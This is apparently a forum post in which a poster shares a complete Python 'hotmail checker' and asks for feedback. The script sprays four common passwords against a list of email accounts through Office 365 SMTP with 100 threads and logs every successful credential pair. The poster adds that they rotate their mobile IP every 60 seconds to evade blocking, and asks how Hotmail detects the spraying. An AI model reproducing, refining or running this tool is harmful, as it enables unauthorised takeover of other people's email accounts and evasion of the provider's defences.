04-23-2024, 05:34 PM
I made a hotmail checker. I reset my mobile internet IP/on my phone, to achieve a new IP every 60 seconds.
Anything wrong with this? I ask it to log in to each email in a .txt file with 4 different passwords. Here's the code:
Do hotmail block commonly used passwords that are attempted for different emails, on the same IP? Can you share info, this is perhaps a v good script! :-)
Anything wrong with this? I ask it to log in to each email in a .txt file with 4 different passwords. Here's the code:
import os
import smtplib
import concurrent.futures
import logging
import time
import threading
MAX_RETRIES = 10 # Maximum number of retries for each login attempt
NUM_THREADS = 100 # Number of concurrent threads (adjust as needed)
RETRY_DELAY = 10 # Delay in seconds before retrying after connection interruption
LOGIN_TIMEOUT = 30 # Timeout for each login attempt in seconds
LOG_FILE = 'successful_logins.txt'
ERROR_LOG_FILE = 'error_log.txt'
CHECKED_EMAILS_FILE = 'checked_emails.txt'
GREEN = "\033[92m" # ANSI escape code for green text
RESET = "\033[0m" # ANSI escape code to reset text color
# Initialize progress statistics
accounts_loaded = 0
accounts_checked = 0
accounts_failed = 0
accounts_valid = 0
# Lock for thread-safe access to progress statistics
progress_lock = threading.Lock()
logging.basicConfig(level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[logging.FileHandler(ERROR_LOG_FILE), logging.StreamHandler()])
# Function to record checked emails
def record_checked_email(email, password):
with open(CHECKED_EMAILS_FILE, 'a') as f:
f.write(f"{email}:{password}\n")
# Function to load already checked emails
def load_checked_emails():
try:
with open(CHECKED_EMAILS_FILE, 'r') as f:
return set(line.strip() for line in f)
except FileNotFoundError:
return set()
# Load checked emails at the start
checked_emails = load_checked_emails()
# Specify the four passwords to try
passwords_to_try = ['password1', 'password2', 'password3', 'password4']
def check_credentials(email, password):
retries = 0
while retries < MAX_RETRIES:
try:
smtp_server = smtplib.SMTP('smtp.office365.com', 587, timeout=LOGIN_TIMEOUT)
smtp_server.starttls()
smtp_server.login(email, password)
logging.info(f"Login successful for {email} with password {password}")
with open(LOG_FILE, "a") as log_file:
log_file.write(f"Login successful for {email} with password {password}\n")
smtp_server.quit()
return True
except smtplib.SMTPAuthenticationError as e:
logging.error(f"Login failed for {email} with password {password}: {e.smtp_error.decode()}")
return False
except (smtplib.SMTPConnectError, smtplib.SMTPServerDisconnected, ConnectionError) as e:
logging.error(f"Connection error occurred for {email} with password {password}: {str(e)}")
retries += 1
time.sleep(RETRY_DELAY)
except Exception as e:
logging.error(f"Unexpected error occurred for {email} with password {password}: {str(e)}")
return False
logging.error(f"Max retries reached for {email} with password {password}. Moving to the next combination.")
return False
def process_email(email):
global accounts_checked, accounts_failed, accounts_valid
line_number = threading.current_thread().name # Get the current thread's name, which is the line number
# Skip processing if email is already checked
if email in checked_emails:
print(f"Email {email} already checked. Skipping...")
return
for password in passwords_to_try:
with progress_lock:
accounts_checked += 1
if check_credentials(email, password):
print(f"{GREEN}Successfully logged in: {email} with password {password}{RESET}")
with progress_lock:
accounts_valid += 1
record_checked_email(email, password) # Record the checked email
break # If login successful, no need to try other passwords
else:
print(f"{GREEN}Failed to login: {email} with password {password}{RESET}")
with progress_lock:
accounts_failed += 1
def main_worker(emails):
with concurrent.futures.ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:
executor.map(process_email, emails)
def update_threads(num_threads):
global NUM_THREADS
NUM_THREADS = num_threads
logging.info(f"Number of threads updated to {NUM_THREADS}")
def show_progress():
global accounts_loaded
while True:
time.sleep(1) # Update progress every second
with progress_lock:
total_emails = accounts_loaded
if total_emails == 0:
continue
percentage_complete = (accounts_checked / total_emails) * 100
print(f"Progress: {percentage_complete:.2f}% complete | Loaded: {accounts_loaded} | Checked: {accounts_checked} | Failed: {accounts_failed} | Valid: {accounts_valid}")
# Set CMD window title dynamically
os.system(f"title Progress: {percentage_complete:.2f}%")
def main_menu():
print("Available commands:")
print("1. Start")
print("2. Pause")
print("3. Set Threads")
print("4. Stop")
print("5. Exit")
def start_script(emails):
global accounts_loaded
accounts_loaded = len(emails)
main_worker(emails)
def pause_script():
logging.info("Script paused")
def set_threads():
num_threads = int(input("Enter the number of threads: "))
update_threads(num_threads)
def stop_script():
logging.info("Script stopped")
def main():
global checked_emails
file_path = input("Enter the path to the file containing the list of emails: ")
try:
with open(file_path, 'r', encoding='utf-8') as file:
emails_to_check = [line.strip() for line in file if line.strip()]
# Load checked emails
checked_emails = load_checked_emails()
main_menu()
while True:
choice = input("Enter your choice: ")
if choice == '1':
start_script(emails_to_check)
show_progress()
elif choice == '2':
pause_script()
elif choice == '3':
set_threads()
elif choice == '4':
stop_script()
break
elif choice == '5':
logging.info("Exiting...")
break
else:
print("Invalid choice. Please try again.")
except FileNotFoundError:
logging.error("File not found. Please make sure you enter the correct file path.")
if __name__ == "__main__":
main()
Do hotmail block commonly used passwords that are attempted for different emails, on the same IP? Can you share info, this is perhaps a v good script! :-)